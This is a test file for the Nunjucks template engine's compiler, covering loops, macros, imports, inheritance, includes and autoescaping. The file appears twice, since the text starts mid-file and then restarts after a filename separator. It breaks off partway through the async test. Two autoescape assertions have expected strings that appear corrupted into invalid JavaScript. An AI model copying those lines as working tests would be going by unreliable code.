equal('{% ' + block + ' k, v in { one: 1, two: 2 } %}' +
'-{{ k }}:{{ v }}-{% ' + end + ' %}', '-one:1--two:2-');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.index }}{% ' + end + ' %}', '123');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.index0 }}{% ' + end + ' %}', '012');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.revindex }}{% ' + end + ' %}', '321');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.revindex0 }}{% ' + end + ' %}', '210');
equal('{% ' + block + ' i in [7,3,6] %}{% if loop.first %}{{ i }}{% endif %}{% ' + end + ' %}',
'7');
equal('{% ' + block + ' i in [7,3,6] %}{% if loop.last %}{{ i }}{% endif %}{% ' + end + ' %}',
'6');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.length }}{% ' + end + ' %}', '333');
equal('{% ' + block + ' i in foo %}{{ i }}{% ' + end + ' %}', '');
equal('{% ' + block + ' i in foo.bar %}{{ i }}{% ' + end + ' %}', { foo: {} }, '');
equal('{% ' + block + ' i in foo %}{{ i }}{% ' + end + ' %}', { foo: null }, '');
equal('{% ' + block + ' x, y in points %}[{{ x }},{{ y }}]{% ' + end + ' %}',
{ points: [[1,2], [3,4], [5,6]] },
'[1,2][3,4][5,6]');
equal('{% ' + block + ' x, y in points %}{{ loop.index }}{% ' + end + ' %}',
{ points: [[1,2], [3,4], [5,6]] },
'123');
equal('{% ' + block + ' x, y in points %}{{ loop.revindex }}{% ' + end + ' %}',
{ points: [[1,2], [3,4], [5,6]] },
'321');
equal('{% ' + block + ' k, v in items %}({{ k }},{{ v }}){% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'(foo,1)(bar,2)');
equal('{% ' + block + ' k, v in items %}{{ loop.index }}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'12');
equal('{% ' + block + ' k, v in items %}{{ loop.revindex }}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'21');
equal('{% ' + block + ' k, v in items %}{{ loop.length }}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'22');
equal('{% ' + block + ' item, v in items %}{% include "item.html" %}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'showing fooshowing bar');
render('{% set item = passed_var %}' +
'{% include "item.html" %}\n' +
'{% ' + block + ' i in passed_iter %}' +
'{% set item = i %}' +
'{% include "item.html" %}\n' +
'{% ' + end + ' %}',
{
passed_var: 'test',
passed_iter: ['1', '2', '3']
},
{},
function(err, res) {
expect(res).to.be('showing test\nshowing 1\nshowing 2\nshowing 3\n');
});
}
it('should compile for blocks', function(done) {
runLoopTests('for', 'endfor');
finish(done);
});
it('should compile asyncEach', function(done) {
runLoopTests('asyncEach', 'endeach');
finish(done);
});
it('should compile asyncAll', function(done) {
runLoopTests('asyncAll', 'endall');
finish(done);
});
it('should compile async control', function(done) {
if(fs) {
var opts = {
asyncFilters: {
getContents: function(tmpl, cb) {
fs.readFile(tmpl, cb);
},
getContentsArr: function(arr, cb) {
fs.readFile(arr[0], function(err, res) {
cb(err, [res]);
});
}
}
};
render('{{ tmpl | getContents }}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% if tmpl %}{{ tmpl | getContents }}{% endif %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% if tmpl | getContents %}yes{% endif %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('yes');
});
render('{% for t in [tmpl, tmpl] %}{{ t | getContents }}*{% endfor %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere*somecontenthere*');
});
render('{% for t in [tmpl, tmpl] | getContentsArr %}{{ t }}{% endfor %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% if test %}{{ tmpl | getContents }}{% endif %}oof',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('oof');
});
render('{% if tmpl %}' +
'{% for i in [0, 1] %}{{ tmpl | getContents }}*{% endfor %}' +
'{% endif %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere*somecontenthere*');
});
render('{% block content %}{{ tmpl | getContents }}{% endblock %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% block content %}hello{% endblock %} {{ tmpl | getContents }}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('hello somecontenthere');
});
render('{% block content %}{% include "async.html" %}{% endblock %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere\n');
});
render('{% asyncEach i in [0, 1] %}{% include "async.html" %}{% endeach %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere\nsomecontenthere\n');
});
render('{% asyncAll i in [0, 1, 2, 3, 4] %}-{{ i }}:{% include "async.html" %}-{% endall %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('-0:somecontenthere\n-' +
'-1:somecontenthere\n-' +
'-2:somecontenthere\n-' +
'-3:somecontenthere\n-' +
'-4:somecontenthere\n-');
});
}
finish(done);
});
it('should compile operators', function(done) {
equal('{{ 3 + 4 - 5 * 6 / 10 }}', '4');
equal('{{ 4**5 }}', '1024');
equal('{{ 9//5 }}', '1');
equal('{{ 9%5 }}', '4');
equal('{{ -5 }}', '-5');
equal('{% if 3 < 4 %}yes{% endif %}', 'yes');
equal('{% if 3 > 4 %}yes{% endif %}', '');
equal('{% if 9 >= 10 %}yes{% endif %}', '');
equal('{% if 10 >= 10 %}yes{% endif %}', 'yes');
equal('{% if 9 <= 10 %}yes{% endif %}', 'yes');
equal('{% if 10 <= 10 %}yes{% endif %}', 'yes');
equal('{% if 11 <= 10 %}yes{% endif %}', '');
equal('{% if 10 != 10 %}yes{% endif %}', '');
equal('{% if 10 == 10 %}yes{% endif %}', 'yes');
equal('{% if foo(20) > bar %}yes{% endif %}',
{ foo: function(n) { return n - 1; },
bar: 15 },
'yes');
equal('{% if 1 in [1, 2] %}yes{% endif %}', 'yes');
equal('{% if 1 in [2, 3] %}yes{% endif %}', '');
equal('{% if 1 not in [1, 2] %}yes{% endif %}', '');
equal('{% if 1 not in [2, 3] %}yes{% endif %}', 'yes');
equal('{% if "a" in vals %}yes{% endif %}',
{'vals': ['a', 'b']}, 'yes');
finish(done);
});
it('should compile macros', function(done) {
equal('{% macro foo() %}This is a macro{% endmacro %}' +
'{{ foo() }}',
'This is a macro');
equal('{% macro foo(x, y) %}{{ y }}{% endmacro %}' +
'{{ foo(1) }}',
'');
equal('{% macro foo(x) %}{{ x|title }}{% endmacro %}' +
'{{ foo("foo") }}',
'Foo');
equal('{% macro foo(x, y) %}{{ y }}{% endmacro %}' +
'{{ foo(1, 2) }}',
'2');
equal('{% macro foo(x, y, z=5) %}{{ y }}{% endmacro %}' +
'{{ foo(1, 2) }}',
'2');
equal('{% macro foo(x, y, z=5) %}{{ z }}{% endmacro %}' +
'{{ foo(1, 2) }}',
'5');
equal('{% macro foo(x, y, z=5) %}{{ y }}{% endmacro %}' +
'{{ foo(1, y=2) }}',
'2');
equal('{% macro foo(x, y, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(x=1, y=2) }}',
'125');
equal('{% macro foo(x, y, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(x=1, y=2, z=3) }}',
'123');
equal('{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(1, z=3) }}',
'123');
equal('{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(1) }}',
'125');
equal('{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{{ foo(1, 10, 20) }}',
'11020');
equal('{% extends "base.html" %}' +
'{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{% block block1 %}' +
'{{ foo(1) }}' +
'{% endblock %}',
'Foo125BazFizzle');
equal('{% block bar %}' +
'{% macro foo(x, y=2, z=5) %}{{ x }}{{ y }}{{ z }}' +
'{% endmacro %}' +
'{% endblock %}' +
'{% block baz %}' +
'{{ foo(1) }}' +
'{% endblock %}',
'125');
equal('{% macro foo() %}{% include "include.html" %}{% endmacro %}' +
'{{ foo() }}',
{ name: 'james' },
'FooInclude james');
finish(done);
});
it('should compile call blocks', function(done) {
equal('{% macro wrap(el) %}' +
'<{{ el }}>{{ caller() }}</{{ el }}>' +
'{% endmacro %}' +
'{% call wrap("div") %}Hello{% endcall %}',
'<div>Hello</div>');
finish(done);
});
it('should compile call blocks with args', function(done) {
equal('{% macro list(items) %}' +
'<ul>{% for i in items %}' +
'<li>{{ caller(i) }}</li>' +
'{% endfor %}</ul>' +
'{% endmacro %}' +
'{% call(item) list(["a", "b"]) %}{{ item }}{% endcall %}',
'<ul><li>a</li><li>b</li></ul>');
finish(done);
});
it('should compile call blocks using imported macros', function(done) {
equal('{% import "import.html" as imp %}' +
'{% call imp.wrap("span") %}Hey{% endcall %}',
'<span>Hey</span>');
finish(done);
});
it('should import templates', function(done) {
equal('{% import "import.html" as imp %}' +
'{{ imp.foo() }} {{ imp.bar }}',
"Here's a macro baz");
equal('{% from "import.html" import foo as baz, bar %}' +
'{{ bar }} {{ baz() }}',
"baz Here's a macro");
// TODO: Should the for loop create a new frame for each
// iteration? As it is, `num` is set on all iterations after
// the first one sets it
equal('{% for i in [1,2] %}' +
'start: {{ num }}' +
'{% from "import.html" import bar as num %}' +
'end: {{ num }}' +
'{% endfor %}' +
'final: {{ num }}',
'start: end: bazstart: bazend: bazfinal: ');
finish(done);
});
it('should import templates with context', function(done) {
equal('{% set bar = "BAR" %}' +
'{% import "import-context.html" as imp with context %}' +
'{{ imp.foo() }}',
"Here's BAR");
equal('{% set bar = "BAR" %}' +
'{% from "import-context.html" import foo with context %}' +
'{{ foo() }}',
"Here's BAR");
finish(done);
});
it('should import templates without context', function(done) {
equal('{% set bar = "BAR" %}' +
'{% import "import-context.html" as imp without context %}' +
'{{ imp.foo() }}',
"Here's ");
equal('{% set bar = "BAR" %}' +
'{% from "import-context.html" import foo without context %}' +
'{{ foo() }}',
"Here's ");
finish(done);
});
it('should inherit templates', function(done) {
equal('{% extends "base.html" %}', 'FooBarBazFizzle');
equal('hola {% extends "base.html" %} hizzle mumble', 'FooBarBazFizzle');
equal('{% extends "base.html" %}{% block block1 %}BAR{% endblock %}',
'FooBARBazFizzle');
equal('{% extends "base.html" %}' +
'{% block block1 %}BAR{% endblock %}' +
'{% block block2 %}BAZ{% endblock %}',
'FooBARBAZFizzle');
equal('hola {% extends tmpl %} hizzle mumble',
{ tmpl: 'base.html' },
'FooBarBazFizzle');
var count = 0;
render('{% extends "base.html" %}' +
'{% block notReal %}{{ foo() }}{% endblock %}',
{ foo: function() { count++; }},
function(err, res) {
expect(count).to.be(0);
});
finish(done);
});
it('should render nested blocks in child template', function(done) {
equal('{% extends "base.html" %}' +
'{% block block1 %}{% block nested %}BAR{% endblock %}{% endblock %}',
'FooBARBazFizzle');
finish(done);
});
it('should render parent blocks with super()', function(done) {
equal('{% extends "base.html" %}' +
'{% block block1 %}{{ super() }}BAR{% endblock %}',
'FooBarBARBazFizzle');
// two levels of `super` should work
equal('{% extends "base-inherit.html" %}' +
'{% block block1 %}*{{ super() }}*{% endblock %}',
'Foo**Bar**BazFizzle');
finish(done);
});
it('should include templates', function(done) {
equal('hello world {% include "include.html" %}',
'hello world FooInclude ');
equal('hello world {% include "include.html" %}',
{ name: 'james' },
'hello world FooInclude james');
equal('hello world {% include tmpl %}',
{ name: 'thedude', tmpl: "include.html" },
'hello world FooInclude thedude');
equal('hello world {% include data.tmpl %}',
{ name: 'thedude', data: {tmpl: "include.html"} },
'hello world FooInclude thedude');
finish(done);
});
/**
* This test checks that this issue is resolved: http://stackoverflow.com/questions/21777058/loop-index-in-included-nunjucks-file
*/
it('should have access to "loop" inside an include', function(done) {
equal('{% for item in [1,2,3] %}{% include "include-in-loop.html" %}{% endfor %}',
'1,0,true\n2,1,false\n3,2,false\n');
equal('{% for k,v in items %}{% include "include-in-loop.html" %}{% endfor %}',
{items: {'a': 'A', 'b': 'B'}},
'1,0,true\n2,1,false\n');
finish(done);
});
it('should maintain nested scopes', function(done) {
equal('{% for i in [1,2] %}' +
'{% for i in [3,4] %}{{ i }}{% endfor %}' +
'{{ i }}{% endfor %}',
'341342');
finish(done);
});
it('should allow blocks in for loops', function(done) {
equal('{% extends "base2.html" %}' +
'{% block item %}hello{{ item }}{% endblock %}',
'hello1hello2');
finish(done);
});
it('should make includes inherit scope', function(done) {
equal('{% for item in [1,2] %}' +
'{% include "item.html" %}' +
'{% endfor %}',
'showing 1showing 2');
finish(done);
});
it('should compile a set block', function(done) {
equal('{% set username = "foo" %}{{ username }}',
{ username: 'james' },
'foo');
equal('{% set x, y = "foo" %}{{ x }}{{ y }}',
'foofoo');
equal('{% set x = 1 + 2 %}{{ x }}',
'3');
equal('{% for i in [1] %}{% set foo=1 %}{% endfor %}{{ foo }}',
{ foo: 2 },
'2');
equal('{% include "set.html" %}{{ foo }}',
{ foo: 'bar' },
'bar');
equal('{% set username = username + "pasta" %}{{ username }}',
{ username: 'basta' },
'bastapasta');
// `set` should only set within its current scope
equal('{% for i in [1] %}{% set val=5 %}{% endfor %}' +
'{{ val }}',
'');
equal('{% for i in [1,2,3] %}' +
'{% if not val %}{% set val=5 %}{% endif %}' +
'{% set val=val+1 %}{{ val }}' +
'{% endfor %}' +
'afterwards: {{ val }}',
'678afterwards: ');
// however, like Python, if a variable has been set in an
// above scope, any other set should correctly resolve to
// that frame
equal('{% set val=1 %}' +
'{% for i in [1] %}{% set val=5 %}{% endfor %}' +
'{{ val }}',
'5');
equal('{% set val=5 %}' +
'{% for i in [1,2,3] %}' +
'{% set val=val+1 %}{{ val }}' +
'{% endfor %}' +
'afterwards: {{ val }}',
'678afterwards: 8');
finish(done);
});
it('should compile set with frame references', function(done) {
equal('{% set username = user.name %}{{ username }}',
{ user: { name: 'james' } },
'james');
finish(done);
});
it('should compile set assignments of the same variable', function(done) {
equal('{% set x = "hello" %}' +
'{% if false %}{% set x = "world" %}{% endif %}' +
'{{ x }}',
'hello');
equal('{% set x = "blue" %}' +
'{% if true %}{% set x = "green" %}{% endif %}' +
'{{ x }}',
'green');
finish(done);
});
it('should throw errors', function(done) {
render('{% from "import.html" import boozle %}',
{},
{ noThrow: true },
function(err) {
expect(err).to.match(/cannot import 'boozle'/);
});
finish(done);
});
it('should allow custom tag compilation', function(done) {
function testExtension() {
this.tags = ['test'];
this.parse = function(parser, nodes) {
parser.advanceAfterBlockEnd();
var content = parser.parseUntilBlocks("endtest");
var tag = new nodes.CallExtension(this, 'run', null, [content]);
parser.advanceAfterBlockEnd();
return tag;
};
this.run = function(context, content) {
// Reverse the string
return content().split("").reverse().join("");
};
}
var opts = { extensions: { 'testExtension': new testExtension() }};
render('{% test %}123456789{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('987654321');
});
finish(done);
});
it('should allow custom tag compilation without content', function(done) {
function testExtension() {
this.tags = ['test'];
this.parse = function(parser, nodes) {
var tok = parser.nextToken();
var args = parser.parseSignature(null, true);
parser.advanceAfterBlockEnd(tok.value);
return new nodes.CallExtension(this, 'run', args, null);
};
this.run = function(context, arg1) {
// Reverse the string
return arg1.split("").reverse().join("");
};
}
var opts = { extensions: { 'testExtension': new testExtension() }};
render('{% test "123456" %}', null, opts, function(err, res) {
expect(res).to.be('654321');
});
finish(done);
});
it('should allow complicated custom tag compilation', function(done) {
function testExtension() {
this.tags = ['test'];
/* normally this is automatically done by Environment */
this._name = 'testExtension';
this.parse = function(parser, nodes, lexer) {
var body, intermediate = null;
parser.advanceAfterBlockEnd();
body = parser.parseUntilBlocks('intermediate', 'endtest');
if(parser.skipSymbol('intermediate')) {
parser.skip(lexer.TOKEN_BLOCK_END);
intermediate = parser.parseUntilBlocks('endtest');
}
parser.advanceAfterBlockEnd();
return new nodes.CallExtension(this, 'run', null, [body, intermediate]);
};
this.run = function(context, body, intermediate) {
var output = body().split("").join(",");
if(intermediate) {
// Reverse the string.
output += intermediate().split("").reverse().join("");
}
return output;
};
}
var opts = { extensions: { 'testExtension': new testExtension() }};
render('{% test %}abcdefg{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('a,b,c,d,e,f,g');
});
render('{% test %}abcdefg{% intermediate %}second half{% endtest %}',
null,
opts,
function(err, res) {
expect(res).to.be('a,b,c,d,e,f,gflah dnoces');
});
finish(done);
});
it('should allow custom tag with args compilation', function(done) {
function testExtension() {
this.tags = ['test'];
/* normally this is automatically done by Environment */
this._name = 'testExtension';
this.parse = function(parser, nodes, lexer) {
var body, args = null;
var tok = parser.nextToken();
// passing true makes it tolerate when no args exist
args = parser.parseSignature(true);
parser.advanceAfterBlockEnd(tok.value);
body = parser.parseUntilBlocks('endtest');
parser.advanceAfterBlockEnd();
return new nodes.CallExtension(this, 'run', args, [body]);
};
this.run = function(context, prefix, kwargs, body) {
if(typeof prefix == 'function') {
body = prefix;
prefix = '';
kwargs = {};
}
else if(typeof kwargs == 'function') {
body = kwargs;
kwargs = {};
}
var output = prefix + body().split('').reverse().join('');
if(kwargs.cutoff) {
output = output.slice(0, kwargs.cutoff);
}
return output;
};
}
var opts = { extensions: {'testExtension': new testExtension() }};
render('{% test %}foobar{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('raboof');
});
render('{% test("biz") %}foobar{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('bizraboof');
});
render('{% test("biz", cutoff=5) %}foobar{% endtest %}', null, opts, function(err, res) {
expect(res).to.be('bizra');
});
finish(done);
});
it('should not autoescape by default', function(done) {
equal('{{ foo }}', { foo: '"\'<>&'}, '"\'<>&');
finish(done);
});
it('should autoescape if autoescape is on', function(done) {
render('{{ foo }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('"'<>&');
});
render('{{ foo|reverse }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('&><'"');
});
render('{{ foo|reverse|safe }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('&><\'"');
});
finish(done);
});
it('should not autoescape safe strings', function(done) {
render('{{ foo|safe }}', { foo: '"\'<>&'}, { autoescape: true }, function(err, res) {
expect(res).to.be('"\'<>&');
});
finish(done);
});
it('should not autoescape macros', function(done) {
render(
'{% macro foo(x, y) %}{{ x }} and {{ y }}{% endmacro %}' +
'{{ foo("<>&", "<>") }}',
null,
{ autoescape: true },
function(err, res) {
expect(res).to.be('<>& and <>');
}
);
render(
'{% macro foo(x, y) %}{{ x|safe }} and {{ y }}{% endmacro %}' +
'{{ foo("<>&", "<>") }}',
null,
{ autoescape: true },
function(err, res) {
expect(res).to.be('<>& and <>');
}
);
finish(done);
});
it('should not autoescape super()', function(done) {
render(
'{% extends "base3.html" %}' +
'{% block block1 %}{{ super() }}{% endblock %}',
null,
{ autoescape: true },
function(err, res) {
expect(res).to.be('<b>Foo</b>');
}
);
finish(done);
});
it('should not autoescape when extension set false', function(done) {
function testExtension() {
this.tags = ['test'];
this.autoescape = false;
this.parse = function(parser, nodes) {
var tok = parser.nextToken();
var args = parser.parseSignature(null, true);
parser.advanceAfterBlockEnd(tok.value);
return new nodes.CallExtension(this, 'run', args, null);
};
this.run = function(context) {
// Reverse the string
return '<b>Foo</b>';
};
}
var opts = {
extensions: { 'testExtension': new testExtension() },
autoescape: true
};
render(
'{% test "123456" %}',
null,
opts,
function(err, res) {
expect(res).to.be('<b>Foo</b>');
}
);
finish(done);
});
it('should pass context as this to filters', function(done) {
render(
'{{ foo | hallo }}',
{ foo: 1, bar: 2 },
{ filters: {
'hallo': function(foo) { return foo + this.lookup('bar'); }
}},
function(err, res) {
expect(res).to.be('3');
}
);
finish(done);
});
it('should render regexs', function(done) {
equal('{{ r/name [0-9] \\// }}',
'/name [0-9] \\//');
equal('{{ r/x/gi }}',
'/x/gi');
finish(done);
});
});
})();
| tests/compiler.js | (function() {
var expect, util, Environment, Template, fs;
if(typeof require != 'undefined') {
expect = require('expect.js');
util = require('./util');
Environment = require('../src/environment').Environment;
Template = require('../src/environment').Template;
fs = require('fs');
}
else {
expect = window.expect;
util = window.util;
Environment = nunjucks.Environment;
Template = nunjucks.Template;
}
var render = util.render;
var equal = util.equal;
var finish = util.finish;
describe('compiler', function() {
it('should compile templates', function(done) {
equal('Hello world', 'Hello world');
equal('Hello world, {{ name }}',
{ name: 'James' },
'Hello world, James');
equal('Hello world, {{name}}{{suffix}}, how are you',
{ name: 'James',
suffix: ' Long'},
'Hello world, James Long, how are you');
finish(done);
});
it('should escape newlines', function(done) {
equal('foo\\nbar', 'foo\\nbar');
finish(done);
});
it('should compile references', function(done) {
equal('{{ foo.bar }}',
{ foo: { bar: 'baz' }},
'baz');
equal('{{ foo["bar"] }}',
{ foo: { bar: 'baz' }},
'baz');
finish(done);
});
it('should fail silently on undefined values', function(done) {
equal('{{ foo }}', '');
equal('{{ foo.bar }}', '');
equal('{{ foo.bar.baz }}', '');
equal('{{ foo.bar.baz["biz"].mumble }}', '');
finish(done);
});
it('should not treat falsy values the same as undefined', function(done) {
equal('{{ foo }}', {foo: 0}, '0');
equal('{{ foo }}', {foo: false}, 'false');
finish(done);
});
it('should compile function calls', function(done) {
equal('{{ foo("msg") }}',
{ foo: function(str) { return str + 'hi'; }},
'msghi');
finish(done);
});
it('should compile function calls with correct scope', function(done) {
equal('{{ foo.bar() }}', {
foo: {
bar: function() { return this.baz; },
baz: 'hello'
}
}, 'hello');
finish(done);
});
it('should compile if blocks', function(done) {
var tmpl = ('Give me some {% if hungry %}pizza' +
'{% else %}water{% endif %}');
equal(tmpl, { hungry: true }, 'Give me some pizza');
equal(tmpl, { hungry: false }, 'Give me some water');
equal('{% if not hungry %}good{% endif %}',
{ hungry: false },
'good');
equal('{% if hungry and like_pizza %}good{% endif %}',
{ hungry: true, like_pizza: true },
'good');
equal('{% if hungry or like_pizza %}good{% endif %}',
{ hungry: false, like_pizza: true },
'good');
equal('{% if (hungry or like_pizza) and anchovies %}good{% endif %}',
{ hungry: false, like_pizza: true, anchovies: true },
'good');
equal('{% if food == "pizza" %}pizza{% endif %}' +
'{% if food =="beer" %}beer{% endif %}',
{ food: 'beer' },
'beer');
finish(done);
});
it('should compile the ternary operator', function(done) {
equal('{{ "foo" if bar else "baz" }}', 'baz');
equal('{{ "foo" if bar else "baz" }}', { bar: true }, 'foo');
finish(done);
});
it('should compile inline conditionals', function(done) {
var tmpl = 'Give me some {{ "pizza" if hungry else "water" }}';
equal(tmpl, { hungry: true }, 'Give me some pizza');
equal(tmpl, { hungry: false }, 'Give me some water');
equal('{{ "good" if not hungry }}',
{ hungry: false }, 'good');
equal('{{ "good" if hungry and like_pizza }}',
{ hungry: true, like_pizza: true }, 'good');
equal('{{ "good" if hungry or like_pizza }}',
{ hungry: false, like_pizza: true }, 'good');
equal('{{ "good" if (hungry or like_pizza) and anchovies }}',
{ hungry: false, like_pizza: true, anchovies: true }, 'good');
equal('{{ "pizza" if food == "pizza" }}' +
'{{ "beer" if food == "beer" }}',
{ food: 'beer' }, 'beer');
finish(done);
});
function runLoopTests(block, end) {
equal('{% ' + block + ' i in arr %}{{ i }}{% ' + end + ' %}',
{ arr: [1, 2, 3, 4, 5] }, '12345');
equal('{% ' + block + ' i in arr %}{{ i }}{% else %}empty{% ' + end + ' %}',
{ arr: [1, 2, 3, 4, 5] }, '12345');
equal('{% ' + block + ' i in arr %}{{ i }}{% else %}empty{% ' + end + ' %}',
{ arr: [] }, 'empty');
equal('{% ' + block + ' a, b, c in arr %}' +
'{{ a }},{{ b }},{{ c }}.{% ' + end + ' %}',
{ arr: [['x', 'y', 'z'], ['1', '2', '3']] }, 'x,y,z.1,2,3.');
equal('{% ' + block + ' item in arr | batch(2) %}{{ item[0] }}{% ' + end + ' %}',
{ arr: ['a', 'b', 'c', 'd'] }, 'ac');
equal('{% ' + block + ' k, v in { one: 1, two: 2 } %}' +
'-{{ k }}:{{ v }}-{% ' + end + ' %}', '-one:1--two:2-');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.index }}{% ' + end + ' %}', '123');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.index0 }}{% ' + end + ' %}', '012');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.revindex }}{% ' + end + ' %}', '321');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.revindex0 }}{% ' + end + ' %}', '210');
equal('{% ' + block + ' i in [7,3,6] %}{% if loop.first %}{{ i }}{% endif %}{% ' + end + ' %}',
'7');
equal('{% ' + block + ' i in [7,3,6] %}{% if loop.last %}{{ i }}{% endif %}{% ' + end + ' %}',
'6');
equal('{% ' + block + ' i in [7,3,6] %}{{ loop.length }}{% ' + end + ' %}', '333');
equal('{% ' + block + ' i in foo %}{{ i }}{% ' + end + ' %}', '');
equal('{% ' + block + ' i in foo.bar %}{{ i }}{% ' + end + ' %}', { foo: {} }, '');
equal('{% ' + block + ' i in foo %}{{ i }}{% ' + end + ' %}', { foo: null }, '');
equal('{% ' + block + ' x, y in points %}[{{ x }},{{ y }}]{% ' + end + ' %}',
{ points: [[1,2], [3,4], [5,6]] },
'[1,2][3,4][5,6]');
equal('{% ' + block + ' x, y in points %}{{ loop.index }}{% ' + end + ' %}',
{ points: [[1,2], [3,4], [5,6]] },
'123');
equal('{% ' + block + ' x, y in points %}{{ loop.revindex }}{% ' + end + ' %}',
{ points: [[1,2], [3,4], [5,6]] },
'321');
equal('{% ' + block + ' k, v in items %}({{ k }},{{ v }}){% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'(foo,1)(bar,2)');
equal('{% ' + block + ' k, v in items %}{{ loop.index }}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'12');
equal('{% ' + block + ' k, v in items %}{{ loop.revindex }}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'21');
equal('{% ' + block + ' k, v in items %}{{ loop.length }}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'22');
equal('{% ' + block + ' item, v in items %}{% include "item.html" %}{% ' + end + ' %}',
{ items: { foo: 1, bar: 2 }},
'showing fooshowing bar');
render('{% set item = passed_var %}' +
'{% include "item.html" %}\n' +
'{% ' + block + ' i in passed_iter %}' +
'{% set item = i %}' +
'{% include "item.html" %}\n' +
'{% ' + end + ' %}',
{
passed_var: 'test',
passed_iter: ['1', '2', '3']
},
{},
function(err, res) {
expect(res).to.be('showing test\nshowing 1\nshowing 2\nshowing 3\n');
});
}
it('should compile for blocks', function(done) {
runLoopTests('for', 'endfor');
finish(done);
});
it('should compile asyncEach', function(done) {
runLoopTests('asyncEach', 'endeach');
finish(done);
});
it('should compile asyncAll', function(done) {
runLoopTests('asyncAll', 'endall');
finish(done);
});
it('should compile async control', function(done) {
if(fs) {
var opts = {
asyncFilters: {
getContents: function(tmpl, cb) {
fs.readFile(tmpl, cb);
},
getContentsArr: function(arr, cb) {
fs.readFile(arr[0], function(err, res) {
cb(err, [res]);
});
}
}
};
render('{{ tmpl | getContents }}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% if tmpl %}{{ tmpl | getContents }}{% endif %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% if tmpl | getContents %}yes{% endif %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('yes');
});
render('{% for t in [tmpl, tmpl] %}{{ t | getContents }}*{% endfor %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere*somecontenthere*');
});
render('{% for t in [tmpl, tmpl] | getContentsArr %}{{ t }}{% endfor %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% if test %}{{ tmpl | getContents }}{% endif %}oof',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('oof');
});
render('{% if tmpl %}' +
'{% for i in [0, 1] %}{{ tmpl | getContents }}*{% endfor %}' +
'{% endif %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere*somecontenthere*');
});
render('{% block content %}{{ tmpl | getContents }}{% endblock %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere');
});
render('{% block content %}hello{% endblock %} {{ tmpl | getContents }}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('hello somecontenthere');
});
render('{% block content %}{% include "async.html" %}{% endblock %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere\n');
});
render('{% asyncEach i in [0, 1] %}{% include "async.html" %}{% endeach %}',
{ tmpl: 'tests/templates/for-async-content.html' },
opts,
function(err, res) {
expect(res).to.be('somecontenthere\nsomecontenthere\n');
});
